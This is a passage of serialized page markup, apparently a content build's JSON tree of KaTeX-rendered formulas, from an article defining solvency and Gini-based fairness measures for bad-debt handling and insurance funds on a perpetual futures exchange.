},{"style":169515},[169863,169867],{"type":24,"tag":327,"props":169864,"children":169866},{"className":169865,"style":169520},[3058],[],{"type":24,"tag":327,"props":169868,"children":169870},{"className":169869},[3064,3065,3066,3067],[169871],{"type":24,"tag":327,"props":169872,"children":169874},{"className":169873},[2977,2978,3067],[169875],{"type":29,"value":11334},{"type":24,"tag":327,"props":169877,"children":169878},{"style":169533},[169879,169883],{"type":24,"tag":327,"props":169880,"children":169882},{"className":169881,"style":169520},[3058],[],{"type":24,"tag":327,"props":169884,"children":169885},{},[169886],{"type":24,"tag":327,"props":169887,"children":169889},{"className":169888},[3018,3023,169545],[169890],{"type":29,"value":115569},{"type":24,"tag":327,"props":169892,"children":169894},{"className":169893},[3150],[169895],{"type":29,"value":3153},{"type":24,"tag":327,"props":169897,"children":169899},{"className":169898},[3043],[169900],{"type":24,"tag":327,"props":169901,"children":169903},{"className":169902,"style":169560},[3048],[169904],{"type":24,"tag":327,"props":169905,"children":169906},{},[],{"type":24,"tag":327,"props":169908,"children":169910},{"className":169909,"style":3169},[2992],[],{"type":24,"tag":327,"props":169912,"children":169914},{"className":169913},[2977],[169915,169920],{"type":24,"tag":327,"props":169916,"children":169918},{"className":169917,"style":129054},[2977,2978],[169919],{"type":29,"value":56292},{"type":24,"tag":327,"props":169921,"children":169923},{"className":169922},[3032],[169924],{"type":24,"tag":327,"props":169925,"children":169927},{"className":169926},[3037,3038],[169928,169957],{"type":24,"tag":327,"props":169929,"children":169931},{"className":169930},[3043],[169932,169952],{"type":24,"tag":327,"props":169933,"children":169935},{"className":169934,"style":100303},[3048],[169936],{"type":24,"tag":327,"props":169937,"children":169938},{"style":168002},[169939,169943],{"type":24,"tag":327,"props":169940,"children":169942},{"className":169941,"style":3059},[3058],[],{"type":24,"tag":327,"props":169944,"children":169946},{"className":169945},[3064,3065,3066,3067],[169947],{"type":24,"tag":327,"props":169948,"children":169950},{"className":169949},[2977,2978,3067],[169951],{"type":29,"value":11334},{"type":24,"tag":327,"props":169953,"children":169955},{"className":169954},[3150],[169956],{"type":29,"value":3153},{"type":24,"tag":327,"props":169958,"children":169960},{"className":169959},[3043],[169961],{"type":24,"tag":327,"props":169962,"children":169964},{"className":169963,"style":99857},[3048],[169965],{"type":24,"tag":327,"props":169966,"children":169967},{},[],{"type":24,"tag":327,"props":169969,"children":169970},{"style":168383},[169971,169975],{"type":24,"tag":327,"props":169972,"children":169974},{"className":169973,"style":167674},[3058],[],{"type":24,"tag":327,"props":169976,"children":169978},{"className":169977},[2977],[169979,169983,169987,169992,169996,170001,170006,170063,170067,170072,170076,170081,170085,170090,170094,170151,170156,170160,170164,170169],{"type":24,"tag":327,"props":169980,"children":169982},{"className":169981},[2977],[],{"type":24,"tag":327,"props":169984,"children":169986},{"className":169985,"style":2993},[2992],[],{"type":24,"tag":327,"props":169988,"children":169990},{"className":169989},[2998],[169991],{"type":29,"value":384},{"type":24,"tag":327,"props":169993,"children":169995},{"className":169994,"style":2993},[2992],[],{"type":24,"tag":327,"props":169997,"children":169999},{"className":169998},[3018],[170000],{"type":29,"value":167388},{"type":24,"tag":327,"props":170002,"children":170004},{"className":170003},[3121],[170005],{"type":29,"value":349},{"type":24,"tag":327,"props":170007,"children":170009},{"className":170008},[2977],[170010,170015],{"type":24,"tag":327,"props":170011,"children":170013},{"className":170012,"style":99774},[2977,2978],[170014],{"type":29,"value":168261},{"type":24,"tag":327,"props":170016,"children":170018},{"className":170017},[3032],[170019],{"type":24,"tag":327,"props":170020,"children":170022},{"className":170021},[3037,3038],[170023,170052],{"type":24,"tag":327,"props":170024,"children":170026},{"className":170025},[3043],[170027,170047],{"type":24,"tag":327,"props":170028,"children":170030},{"className":170029,"style":149329},[3048],[170031],{"type":24,"tag":327,"props":170032,"children":170033},{"style":116773},[170034,170038],{"type":24,"tag":327,"props":170035,"children":170037},{"className":170036,"style":3059},[3058],[],{"type":24,"tag":327,"props":170039,"children":170041},{"className":170040},[3064,3065,3066,3067],[170042],{"type":24,"tag":327,"props":170043,"children":170045},{"className":170044,"style":2979},[2977,2978,3067],[170046],{"type":29,"value":13555},{"type":24,"tag":327,"props":170048,"children":170050},{"className":170049},[3150],[170051],{"type":29,"value":3153},{"type":24,"tag":327,"props":170053,"children":170055},{"className":170054},[3043],[170056],{"type":24,"tag":327,"props":170057,"children":170059},{"className":170058,"style":99857},[3048],[170060],{"type":24,"tag":327,"props":170061,"children":170062},{},[],{"type":24,"tag":327,"props":170064,"children":170066},{"className":170065,"style":3705},[2992],[],{"type":24,"tag":327,"props":170068,"children":170070},{"className":170069},[3710],[170071],{"type":29,"value":11647},{"type":24,"tag":327,"props":170073,"children":170075},{"className":170074,"style":3705},[2992],[],{"type":24,"tag":327,"props":170077,"children":170079},{"className":170078,"style":101794},[2977,2978],[170080],{"type":29,"value":101828},{"type":24,"tag":327,"props":170082,"children":170084},{"className":170083,"style":3705},[2992],[],{"type":24,"tag":327,"props":170086,"children":170088},{"className":170087},[3710],[170089],{"type":29,"value":11647},{"type":24,"tag":327,"props":170091,"children":170093},{"className":170092,"style":3705},[2992],[],{"type":24,"tag":327,"props":170095,"children":170097},{"className":170096},[2977],[170098,170103],{"type":24,"tag":327,"props":170099,"children":170101},{"className":170100,"style":100008},[2977,2978],[170102],{"type":29,"value":100011},{"type":24,"tag":327,"props":170104,"children":170106},{"className":170105},[3032],[170107],{"type":24,"tag":327,"props":170108,"children":170110},{"className":170109},[3037,3038],[170111,170140],{"type":24,"tag":327,"props":170112,"children":170114},{"className":170113},[3043],[170115,170135],{"type":24,"tag":327,"props":170116,"children":170118},{"className":170117,"style":149329},[3048],[170119],{"type":24,"tag":327,"props":170120,"children":170121},{"style":117203},[170122,170126],{"type":24,"tag":327,"props":170123,"children":170125},{"className":170124,"style":3059},[3058],[],{"type":24,"tag":327,"props":170127,"children":170129},{"className":170128},[3064,3065,3066,3067],[170130],{"type":24,"tag":327,"props":170131,"children":170133},{"className":170132,"style":2979},[2977,2978,3067],[170134],{"type":29,"value":13555},{"type":24,"tag":327,"props":170136,"children":170138},{"className":170137},[3150],[170139],{"type":29,"value":3153},{"type":24,"tag":327,"props":170141,"children":170143},{"className":170142},[3043],[170144],{"type":24,"tag":327,"props":170145,"children":170147},{"className":170146,"style":99857},[3048],[170148],{"type":24,"tag":327,"props":170149,"children":170150},{},[],{"type":24,"tag":327,"props":170152,"children":170154},{"className":170153},[11695],[170155],{"type":29,"value":11698},{"type":24,"tag":327,"props":170157,"children":170159},{"className":170158,"style":3169},[2992],[],{"type":24,"tag":327,"props":170161,"children":170163},{"className":170162,"style":3169},[2992],[],{"type":24,"tag":327,"props":170165,"children":170167},{"className":170166},[2977],[170168],{"type":29,"value":2988},{"type":24,"tag":327,"props":170170,"children":170172},{"className":170171},[3143],[170173],{"type":29,"value":3146},{"type":24,"tag":327,"props":170175,"children":170177},{"className":170176},[3150],[170178],{"type":29,"value":3153},{"type":24,"tag":327,"props":170180,"children":170182},{"className":170181},[3043],[170183],{"type":24,"tag":327,"props":170184,"children":170186},{"className":170185,"style":168464},[3048],[170187],{"type":24,"tag":327,"props":170188,"children":170189},{},[],{"type":24,"tag":25,"props":170191,"children":170192},{},[170193,170194,170271,170273,170298,170300,170377,170379,170456],{"type":29,"value":349},{"type":24,"tag":284,"props":170195,"children":170197},{"className":170196},[2949,2950],[170198],{"type":24,"tag":327,"props":170199,"children":170201},{"className":170200},[2955],[170202],{"type":24,"tag":327,"props":170203,"children":170205},{"className":170204,"ariaHidden":2961},[2960],[170206],{"type":24,"tag":327,"props":170207,"children":170209},{"className":170208},[2966],[170210,170214],{"type":24,"tag":327,"props":170211,"children":170213},{"className":170212,"style":117771},[2971],[],{"type":24,"tag":327,"props":170215,"children":170217},{"className":170216},[2977],[170218,170223],{"type":24,"tag":327,"props":170219,"children":170221},{"className":170220,"style":2979},[2977,2978],[170222],{"type":29,"value":2982},{"type":24,"tag":327,"props":170224,"children":170226},{"className":170225},[3032],[170227],{"type":24,"tag":327,"props":170228,"children":170230},{"className":170229},[3037,3038],[170231,170260],{"type":24,"tag":327,"props":170232,"children":170234},{"className":170233},[3043],[170235,170255],{"type":24,"tag":327,"props":170236,"children":170238},{"className":170237,"style":116206},[3048],[170239],{"type":24,"tag":327,"props":170240,"children":170241},{"style":167707},[170242,170246],{"type":24,"tag":327,"props":170243,"children":170245},{"className":170244,"style":3059},[3058],[],{"type":24,"tag":327,"props":170247,"children":170249},{"className":170248},[3064,3065,3066,3067],[170250],{"type":24,"tag":327,"props":170251,"children":170253},{"className":170252},[2977,2978,3067],[170254],{"type":29,"value":63125},{"type":24,"tag":327,"props":170256,"children":170258},{"className":170257},[3150],[170259],{"type":29,"value":3153},{"type":24,"tag":327,"props":170261,"children":170263},{"className":170262},[3043],[170264],{"type":24,"tag":327,"props":170265,"children":170267},{"className":170266,"style":99857},[3048],[170268],{"type":24,"tag":327,"props":170269,"children":170270},{},[],{"type":29,"value":170272},": mark price from different sources; ",{"type":24,"tag":284,"props":170274,"children":170276},{"className":170275},[2949,2950],[170277],{"type":24,"tag":327,"props":170278,"children":170280},{"className":170279},[2955],[170281],{"type":24,"tag":327,"props":170282,"children":170284},{"className":170283,"ariaHidden":2961},[2960],[170285],{"type":24,"tag":327,"props":170286,"children":170288},{"className":170287},[2966],[170289,170293],{"type":24,"tag":327,"props":170290,"children":170292},{"className":170291,"style":2972},[2971],[],{"type":24,"tag":327,"props":170294,"children":170296},{"className":170295,"style":101794},[2977,2978],[170297],{"type":29,"value":101828},{"type":29,"value":170299},": insurance fund, roughly the 5M on testnet HL; ",{"type":24,"tag":284,"props":170301,"children":170303},{"className":170302},[2949,2950],[170304],{"type":24,"tag":327,"props":170305,"children":170307},{"className":170306},[2955],[170308],{"type":24,"tag":327,"props":170309,"children":170311},{"className":170310,"ariaHidden":2961},[2960],[170312],{"type":24,"tag":327,"props":170313,"children":170315},{"className":170314},[2966],[170316,170320],{"type":24,"tag":327,"props":170317,"children":170319},{"className":170318,"style":116744},[2971],[],{"type":24,"tag":327,"props":170321,"children":170323},{"className":170322},[2977],[170324,170329],{"type":24,"tag":327,"props":170325,"children":170327},{"className":170326,"style":100260},[2977,2978],[170328],{"type":29,"value":167845},{"type":24,"tag":327,"props":170330,"children":170332},{"className":170331},[3032],[170333],{"type":24,"tag":327,"props":170334,"children":170336},{"className":170335},[3037,3038],[170337,170366],{"type":24,"tag":327,"props":170338,"children":170340},{"className":170339},[3043],[170341,170361],{"type":24,"tag":327,"props":170342,"children":170344},{"className":170343,"style":100303},[3048],[170345],{"type":24,"tag":327,"props":170346,"children":170347},{"style":100307},[170348,170352],{"type":24,"tag":327,"props":170349,"children":170351},{"className":170350,"style":3059},[3058],[],{"type":24,"tag":327,"props":170353,"children":170355},{"className":170354},[3064,3065,3066,3067],[170356],{"type":24,"tag":327,"props":170357,"children":170359},{"className":170358},[2977,2978,3067],[170360],{"type":29,"value":11334},{"type":24,"tag":327,"props":170362,"children":170364},{"className":170363},[3150],[170365],{"type":29,"value":3153},{"type":24,"tag":327,"props":170367,"children":170369},{"className":170368},[3043],[170370],{"type":24,"tag":327,"props":170371,"children":170373},{"className":170372,"style":99857},[3048],[170374],{"type":24,"tag":327,"props":170375,"children":170376},{},[],{"type":29,"value":170378}," is PNL for longs, negated for shorts; ",{"type":24,"tag":284,"props":170380,"children":170382},{"className":170381},[2949,2950],[170383],{"type":24,"tag":327,"props":170384,"children":170386},{"className":170385},[2955],[170387],{"type":24,"tag":327,"props":170388,"children":170390},{"className":170389,"ariaHidden":2961},[2960],[170391],{"type":24,"tag":327,"props":170392,"children":170394},{"className":170393},[2966],[170395,170399],{"type":24,"tag":327,"props":170396,"children":170398},{"className":170397,"style":116744},[2971],[],{"type":24,"tag":327,"props":170400,"children":170402},{"className":170401},[2977],[170403,170408],{"type":24,"tag":327,"props":170404,"children":170406},{"className":170405,"style":129054},[2977,2978],[170407],{"type":29,"value":56292},{"type":24,"tag":327,"props":170409,"children":170411},{"className":170410},[3032],[170412],{"type":24,"tag":327,"props":170413,"children":170415},{"className":170414},[3037,3038],[170416,170445],{"type":24,"tag":327,"props":170417,"children":170419},{"className":170418},[3043],[170420,170440],{"type":24,"tag":327,"props":170421,"children":170423},{"className":170422,"style":100303},[3048],[170424],{"type":24,"tag":327,"props":170425,"children":170426},{"style":168002},[170427,170431],{"type":24,"tag":327,"props":170428,"children":170430},{"className":170429,"style":3059},[3058],[],{"type":24,"tag":327,"props":170432,"children":170434},{"className":170433},[3064,3065,3066,3067],[170435],{"type":24,"tag":327,"props":170436,"children":170438},{"className":170437},[2977,2978,3067],[170439],{"type":29,"value":11334},{"type":24,"tag":327,"props":170441,"children":170443},{"className":170442},[3150],[170444],{"type":29,"value":3153},{"type":24,"tag":327,"props":170446,"children":170448},{"className":170447},[3043],[170449],{"type":24,"tag":327,"props":170450,"children":170452},{"className":170451,"style":99857},[3048],[170453],{"type":24,"tag":327,"props":170454,"children":170455},{},[],{"type":29,"value":170457}," is the positive part of PNL.)",{"type":24,"tag":25,"props":170459,"children":170460},{},[170461],{"type":29,"value":170462},"And let's make the trilemma definitions concrete:",{"type":24,"tag":1380,"props":170464,"children":170465},{},[170466,170940,171504],{"type":24,"tag":179,"props":170467,"children":170468},{},[170469,170473,170474,170728,170730,170781,170783,170886,170887,170938],{"type":24,"tag":42,"props":170470,"children":170471},{},[170472],{"type":29,"value":167586},{"type":29,"value":39622},{"type":24,"tag":284,"props":170475,"children":170477},{"className":170476},[2949,2950],[170478],{"type":24,"tag":327,"props":170479,"children":170481},{"className":170480},[2955],[170482],{"type":24,"tag":327,"props":170483,"children":170485},{"className":170484,"ariaHidden":2961},[2960],[170486,170513],{"type":24,"tag":327,"props":170487,"children":170489},{"className":170488},[2966],[170490,170495,170500,170504,170509],{"type":24,"tag":327,"props":170491,"children":170494},{"className":170492,"style":170493},[2971],"height:0.7278em;vertical-align:-0.0833em;",[],{"type":24,"tag":327,"props":170496,"children":170498},{"className":170497},[2977],[170499],{"type":29,"value":3238},{"type":24,"tag":327,"props":170501,"children":170503},{"className":170502,"style":3705},[2992],[],{"type":24,"tag":327,"props":170505,"children":170507},{"className":170506},[3710],[170508],{"type":29,"value":11647},{"type":24,"tag":327,"props":170510,"children":170512},{"className":170511,"style":3705},[2992],[],{"type":24,"tag":327,"props":170514,"children":170516},{"className":170515},[2966],[170517,170522],{"type":24,"tag":327,"props":170518,"children":170521},{"className":170519,"style":170520},[2971],"height:1.3337em;vertical-align:-0.4453em;",[],{"type":24,"tag":327,"props":170523,"children":170525},{"className":170524},[2977],[170526,170530,170724],{"type":24,"tag":327,"props":170527,"children":170529},{"className":170528},[3121,120292],[],{"type":24,"tag":327,"props":170531,"children":170533},{"className":170532},[120297],[170534],{"type":24,"tag":327,"props":170535,"children":170537},{"className":170536},[3037,3038],[170538,170712],{"type":24,"tag":327,"props":170539,"children":170541},{"className":170540},[3043],[170542,170707],{"type":24,"tag":327,"props":170543,"children":170546},{"className":170544,"style":170545},[3048],"height:0.8884em;",[170547,170621,170632],{"type":24,"tag":327,"props":170548,"children":170549},{"style":120314},[170550,170554],{"type":24,"tag":327,"props":170551,"children":170553},{"className":170552,"style":118945},[3058],[],{"type":24,"tag":327,"props":170555,"children":170557},{"className":170556},[3064,3065,3066,3067],[170558],{"type":24,"tag":327,"props":170559,"children":170561},{"className":170560},[2977,3067],[170562],{"type":24,"tag":327,"props":170563,"children":170565},{"className":170564},[2977,3067],[170566,170571],{"type":24,"tag":327,"props":170567,"children":170569},{"className":170568,"style":99774},[2977,2978,3067],[170570],{"type":29,"value":168261},{"type":24,"tag":327,"props":170572,"children":170574},{"className":170573},[3032],[170575],{"type":24,"tag":327,"props":170576,"children":170578},{"className":170577},[3037,3038],[170579,170609],{"type":24,"tag":327,"props":170580,"children":170582},{"className":170581},[3043],[170583,170604],{"type":24,"tag":327,"props":170584,"children":170586},{"className":170585,"style":119106},[3048],[170587],{"type":24,"tag":327,"props":170588,"children":170590},{"style":170589},"top:-2.3567em;margin-left:-0.0278em;margin-right:0.0714em;",[170591,170595],{"type":24,"tag":327,"props":170592,"children":170594},{"className":170593,"style":115634},[3058],[],{"type":24,"tag":327,"props":170596,"children":170598},{"className":170597},[3064,115639,115640,3067],[170599],{"type":24,"tag":327,"props":170600,"children":170602},{"className":170601,"style":2979},[2977,2978,3067],[170603],{"type":29,"value":13555},{"type":24,"tag":327,"props":170605,"children":170607},{"className":170606},[3150],[170608],{"type":29,"value":3153},{"type":24,"tag":327,"props":170610,"children":170612},{"className":170611},[3043],[170613],{"type":24,"tag":327,"props":170614,"children":170617},{"className":170615,"style":170616},[3048],"height:0.1433em;",[170618],{"type":24,"tag":327,"props":170619,"children":170620},{},[],{"type":24,"tag":327,"props":170622,"children":170623},{"style":120347},[170624,170628],{"type":24,"tag":327,"props":170625,"children":170627},{"className":170626,"style":118945},[3058],[],{"type":24,"tag":327,"props":170629,"children":170631},{"className":170630,"style":120357},[120356],[],{"type":24,"tag":327,"props":170633,"children":170635},{"style":170634},"top:-3.4101em;",[170636,170640],{"type":24,"tag":327,"props":170637,"children":170639},{"className":170638,"style":118945},[3058],[],{"type":24,"tag":327,"props":170641,"children":170643},{"className":170642},[3064,3065,3066,3067],[170644],{"type":24,"tag":327,"props":170645,"children":170647},{"className":170646},[2977,3067],[170648],{"type":24,"tag":327,"props":170649,"children":170651},{"className":170650},[2977,3067],[170652,170657],{"type":24,"tag":327,"props":170653,"children":170655},{"className":170654,"style":129551},[2977,2978,3067],[170656],{"type":29,"value":129554},{"type":24,"tag":327,"props":170658,"children":170660},{"className":170659},[3032],[170661],{"type":24,"tag":327,"props":170662,"children":170664},{"className":170663},[3037,3038],[170665,170696],{"type":24,"tag":327,"props":170666,"children":170668},{"className":170667},[3043],[170669,170691],{"type":24,"tag":327,"props":170670,"children":170673},{"className":170671,"style":170672},[3048],"height:0.2963em;",[170674],{"type":24,"tag":327,"props":170675,"children":170677},{"style":170676},"top:-2.357em;margin-left:-0.0077em;margin-right:0.0714em;",[170678,170682],{"type":24,"tag":327,"props":170679,"children":170681},{"className":170680,"style":115634},[3058],[],{"type":24,"tag":327,"props":170683,"children":170685},{"className":170684},[3064,115639,115640,3067],[170686],{"type":24,"tag":327,"props":170687,"children":170689},{"className":170688},[2977,2978,3067],[170690],{"type":29,"value":3134},{"type":24,"tag":327,"props":170692,"children":170694},{"className":170693},[3150],[170695],{"type":29,"value":3153},{"type":24,"tag":327,"props":170697,"children":170699},{"className":170698},[3043],[170700],{"type":24,"tag":327,"props":170701,"children":170703},{"className":170702,"style":115659},[3048],[170704],{"type":24,"tag":327,"props":170705,"children":170706},{},[],{"type":24,"tag":327,"props":170708,"children":170710},{"className":170709},[3150],[170711],{"type":29,"value":3153},{"type":24,"tag":327,"props":170713,"children":170715},{"className":170714},[3043],[170716],{"type":24,"tag":327,"props":170717,"children":170720},{"className":170718,"style":170719},[3048],"height:0.4453em;",[170721],{"type":24,"tag":327,"props":170722,"children":170723},{},[],{"type":24,"tag":327,"props":170725,"children":170727},{"className":170726},[3143,120292],[],{"type":29,"value":170729}," — how much of the total bad debt was actually covered. ",{"type":24,"tag":284,"props":170731,"children":170733},{"className":170732},[2949,2950],[170734],{"type":24,"tag":327,"props":170735,"children":170737},{"className":170736},[2955],[170738],{"type":24,"tag":327,"props":170739,"children":170741},{"className":170740,"ariaHidden":2961},[2960],[170742,170768],{"type":24,"tag":327,"props":170743,"children":170745},{"className":170744},[2966],[170746,170750,170755,170759,170764],{"type":24,"tag":327,"props":170747,"children":170749},{"className":170748,"style":2972},[2971],[],{"type":24,"tag":327,"props":170751,"children":170753},{"className":170752,"style":3454},[2977,2978],[170754],{"type":29,"value":3457},{"type":24,"tag":327,"props":170756,"children":170758},{"className":170757,"style":2993},[2992],[],{"type":24,"tag":327,"props":170760,"children":170762},{"className":170761},[2998],[170763],{"type":29,"value":384},{"type":24,"tag":327,"props":170765,"children":170767},{"className":170766,"style":2993},[2992],[],{"type":24,"tag":327,"props":170769,"children":170771},{"className":170770},[2966],[170772,170776],{"type":24,"tag":327,"props":170773,"children":170775},{"className":170774,"style":100805},[2971],[],{"type":24,"tag":327,"props":170777,"children":170779},{"className":170778},[2977],[170780],{"type":29,"value":3238},{"type":29,"value":170782}," means fully solvent (",{"type":24,"tag":284,"props":170784,"children":170786},{"className":170785},[2949,2950],[170787],{"type":24,"tag":327,"props":170788,"children":170790},{"className":170789},[2955],[170791],{"type":24,"tag":327,"props":170792,"children":170794},{"className":170793,"ariaHidden":2961},[2960],[170795,170873],{"type":24,"tag":327,"props":170796,"children":170798},{"className":170797},[2966],[170799,170803,170860,170864,170869],{"type":24,"tag":327,"props":170800,"children":170802},{"className":170801,"style":117771},[2971],[],{"type":24,"tag":327,"props":170804,"children":170806},{"className":170805},[2977],[170807,170812],{"type":24,"tag":327,"props":170808,"children":170810},{"className":170809,"style":129551},[2977,2978],[170811],{"type":29,"value":129554},{"type":24,"tag":327,"props":170813,"children":170815},{"className":170814},[3032],[170816],{"type":24,"tag":327,"props":170817,"children":170819},{"className":170818},[3037,3038],[170820,170849],{"type":24,"tag":327,"props":170821,"children":170823},{"className":170822},[3043],[170824,170844],{"type":24,"tag":327,"props":170825,"children":170827},{"className":170826,"style":168417},[3048],[170828],{"type":24,"tag":327,"props":170829,"children":170830},{"style":168421},[170831,170835],{"type":24,"tag":327,"props":170832,"children":170834},{"className":170833,"style":3059},[3058],[],{"type":24,"tag":327,"props":170836,"children":170838},{"className":170837},[3064,3065,3066,3067],[170839],{"type":24,"tag":327,"props":170840,"children":170842},{"className":170841},[2977,2978,3067],[170843],{"type":29,"value":3134},{"type":24,"tag":327,"props":170845,"children":170847},{"className":170846},[3150],[170848],{"type":29,"value":3153},{"type":24,"tag":327,"props":170850,"children":170852},{"className":170851},[3043],[170853],{"type":24,"tag":327,"props":170854,"children":170856},{"className":170855,"style":99857},[3048],[170857],{"type":24,"tag":327,"props":170858,"children":170859},{},[],{"type":24,"tag":327,"props":170861,"children":170863},{"className":170862,"style":2993},[2992],[],{"type":24,"tag":327,"props":170865,"children":170867},{"className":170866},[2998],[170868],{"type":29,"value":384},{"type":24,"tag":327,"props":170870,"children":170872},{"className":170871,"style":2993},[2992],[],{"type":24,"tag":327,"props":170874,"children":170876},{"className":170875},[2966],[170877,170881],{"type":24,"tag":327,"props":170878,"children":170880},{"className":170879,"style":100805},[2971],[],{"type":24,"tag":327,"props":170882,"children":170884},{"className":170883},[2977],[170885],{"type":29,"value":2988},{"type":29,"value":22701},{"type":24,"tag":284,"props":170888,"children":170890},{"className":170889},[2949,2950],[170891],{"type":24,"tag":327,"props":170892,"children":170894},{"className":170893},[2955],[170895],{"type":24,"tag":327,"props":170896,"children":170898},{"className":170897,"ariaHidden":2961},[2960],[170899,170925],{"type":24,"tag":327,"props":170900,"children":170902},{"className":170901},[2966],[170903,170907,170912,170916,170921],{"type":24,"tag":327,"props":170904,"children":170906},{"className":170905,"style":2972},[2971],[],{"type":24,"tag":327,"props":170908,"children":170910},{"className":170909,"style":3454},[2977,2978],[170911],{"type":29,"value":3457},{"type":24,"tag":327,"props":170913,"children":170915},{"className":170914,"style":2993},[2992],[],{"type":24,"tag":327,"props":170917,"children":170919},{"className":170918},[2998],[170920],{"type":29,"value":384},{"type":24,"tag":327,"props":170922,"children":170924},{"className":170923,"style":2993},[2992],[],{"type":24,"tag":327,"props":170926,"children":170928},{"className":170927},[2966],[170929,170933],{"type":24,"tag":327,"props":170930,"children":170932},{"className":170931,"style":100805},[2971],[],{"type":24,"tag":327,"props":170934,"children":170936},{"className":170935},[2977],[170937],{"type":29,"value":2988},{"type":29,"value":170939}," means nothing was recovered.",{"type":24,"tag":179,"props":170941,"children":170942},{},[170943,170947,170948,171071,171072,171289,171291,171395,171397,171448,171450,171502],{"type":24,"tag":42,"props":170944,"children":170945},{},[170946],{"type":29,"value":167596},{"type":29,"value":39622},{"type":24,"tag":284,"props":170949,"children":170951},{"className":170950},[2949,2950],[170952],{"type":24,"tag":327,"props":170953,"children":170955},{"className":170954},[2955],[170956],{"type":24,"tag":327,"props":170957,"children":170959},{"className":170958,"ariaHidden":2961},[2960],[170960,170986],{"type":24,"tag":327,"props":170961,"children":170963},{"className":170962},[2966],[170964,170968,170973,170977,170982],{"type":24,"tag":327,"props":170965,"children":170967},{"className":170966,"style":170493},[2971],[],{"type":24,"tag":327,"props":170969,"children":170971},{"className":170970},[2977],[170972],{"type":29,"value":3238},{"type":24,"tag":327,"props":170974,"children":170976},{"className":170975,"style":3705},[2992],[],{"type":24,"tag":327,"props":170978,"children":170980},{"className":170979},[3710],[170981],{"type":29,"value":11647},{"type":24,"tag":327,"props":170983,"children":170985},{"className":170984,"style":3705},[2992],[],{"type":24,"tag":327,"props":170987,"children":170989},{"className":170988},[2966],[170990,170994,171004,171009,171066],{"type":24,"tag":327,"props":170991,"children":170993},{"className":170992,"style":3685},[2971],[],{"type":24,"tag":327,"props":170995,"children":170997},{"className":170996},[2977,29],[170998],{"type":24,"tag":327,"props":170999,"children":171001},{"className":171000},[2977],[171002],{"type":29,"value":171003},"Gini",{"type":24,"tag":327,"props":171005,"children":171007},{"className":171006},[3121],[171008],{"type":29,"value":349},{"type":24,"tag":327,"props":171010,"children":171012},{"className":171011},[2977],[171013,171018],{"type":24,"tag":327,"props":171014,"children":171016},{"className":171015},[2977,2978],[171017],{"type":29,"value":91072},{"type":24,"tag":327,"props":171019,"children":171021},{"className":171020},[3032],[171022],{"type":24,"tag":327,"props":171023,"children":171025},{"className":171024},[3037,3038],[171026,171055],{"type":24,"tag":327,"props":171027,"children":171029},{"className":171028},[3043],[171030,171050],{"type":24,"tag":327,"props":171031,"children":171033},{"className":171032,"style":100303},[3048],[171034],{"type":24,"tag":327,"props":171035,"children":171036},{"style":99830},[171037,171041],{"type":24,"tag":327,"props":171038,"children":171040},{"className":171039,"style":3059},[3058],[],{"type":24,"tag":327,"props":171042,"children":171044},{"className":171043},[3064,3065,3066,3067],[171045],{"type":24,"tag":327,"props":171046,"children":171048},{"className":171047},[2977,2978,3067],[171049],{"type":29,"value":11334},{"type":24,"tag":327,"props":171051,"children":171053},{"className":171052},[3150],[171054],{"type":29,"value":3153},{"type":24,"tag":327,"props":171056,"children":171058},{"className":171057},[3043],[171059],{"type":24,"tag":327,"props":171060,"children":171062},{"className":171061,"style":99857},[3048],[171063],{"type":24,"tag":327,"props":171064,"children":171065},{},[],{"type":24,"tag":327,"props":171067,"children":171069},{"className":171068},[3143],[171070],{"type":29,"value":3146},{"type":29,"value":14884},{"type":24,"tag":284,"props":171073,"children":171075},{"className":171074},[2949,2950],[171076],{"type":24,"tag":327,"props":171077,"children":171079},{"className":171078},[2955],[171080],{"type":24,"tag":327,"props":171081,"children":171083},{"className":171082,"ariaHidden":2961},[2960],[171084,171162],{"type":24,"tag":327,"props":171085,"children":171087},{"className":171086},[2966],[171088,171092,171149,171153,171158],{"type":24,"tag":327,"props":171089,"children":171091},{"className":171090,"style":149053},[2971],[],{"type":24,"tag":327,"props":171093,"children":171095},{"className":171094},[2977],[171096,171101],{"type":24,"tag":327,"props":171097,"children":171099},{"className":171098},[2977,2978],[171100],{"type":29,"value":91072},{"type":24,"tag":327,"props":171102,"children":171104},{"className":171103},[3032],[171105],{"type":24,"tag":327,"props":171106,"children":171108},{"className":171107},[3037,3038],[171109,171138],{"type":24,"tag":327,"props":171110,"children":171112},{"className":171111},[3043],[171113,171133],{"type":24,"tag":327,"props":171114,"children":171116},{"className":171115,"style":100303},[3048],[171117],{"type":24,"tag":327,"props":171118,"children":171119},{"style":99830},[171120,171124],{"type":24,"tag":327,"props":171121,"children":171123},{"className":171122,"style":3059},[3058],[],{"type":24,"tag":327,"props":171125,"children":171127},{"className":171126},[3064,3065,3066,3067],[171128],{"type":24,"tag":327,"props":171129,"children":171131},{"className":171130},[2977,2978,3067],[171132],{"type":29,"value":11334},{"type":24,"tag":327,"props":171134,"children":171136},{"className":171135},[3150],[171137],{"type":29,"value":3153},{"type":24,"tag":327,"props":171139,"children":171141},{"className":171140},[3043],[171142],{"type":24,"tag":327,"props":171143,"children":171145},{"className":171144,"style":99857},[3048],[171146],{"type":24,"tag":327,"props":171147,"children":171148},{},[],{"type":24,"tag":327,"props":171150,"children":171152},{"className":171151,"style":2993},[2992],[],{"type":24,"tag":327,"props":171154,"children":171156},{"className":171155},[2998],[171157],{"type":29,"value":384},{"type":24,"tag":327,"props":171159,"children":171161},{"className":171160,"style":2993},[2992],[],{"type":24,"tag":327,"props":171163,"children":171165},{"className":171164},[2966],[171166,171170,171227,171232],{"type":24,"tag":327,"props":171167,"children":171169},{"className":171168,"style":3685},[2971],[],{"type":24,"tag":327,"props":171171,"children":171173},{"className":171172},[2977],[171174,171179],{"type":24,"tag":327,"props":171175,"children":171177},{"className":171176},[2977,2978],[171178],{"type":29,"value":603},{"type":24,"tag":327,"props":171180,"children":171182},{"className":171181},[3032],[171183],{"type":24,"tag":327,"props":171184,"children":171186},{"className":171185},[3037,3038],[171187,171216],{"type":24,"tag":327,"props":171188,"children":171190},{"className":171189},[3043],[171191,171211],{"type":24,"tag":327,"props":171192,"children":171194},{"className":171193,"style":100303},[3048],[171195],{"type":24,"tag":327,"props":171196,"children":171197},{"style":99830},[171198,171202],{"type":24,"tag":327,"props":171199,"children":171201},{"className":171200,"style":3059},[3058],[],{"type":24,"tag":327,"props":171203,"children":171205},{"className":171204},[3064,3065,3066,3067],[171206],{"type":24,"tag":327,"props":171207,"children":171209},{"className":171208},[2977,2978,3067],[171210],{"type":29,"value":11334},{"type":24,"tag":327,"props":171212,"children":171214},{"className":171213},[3150],[171215],{"type":29,"value":3153},{"type":24,"t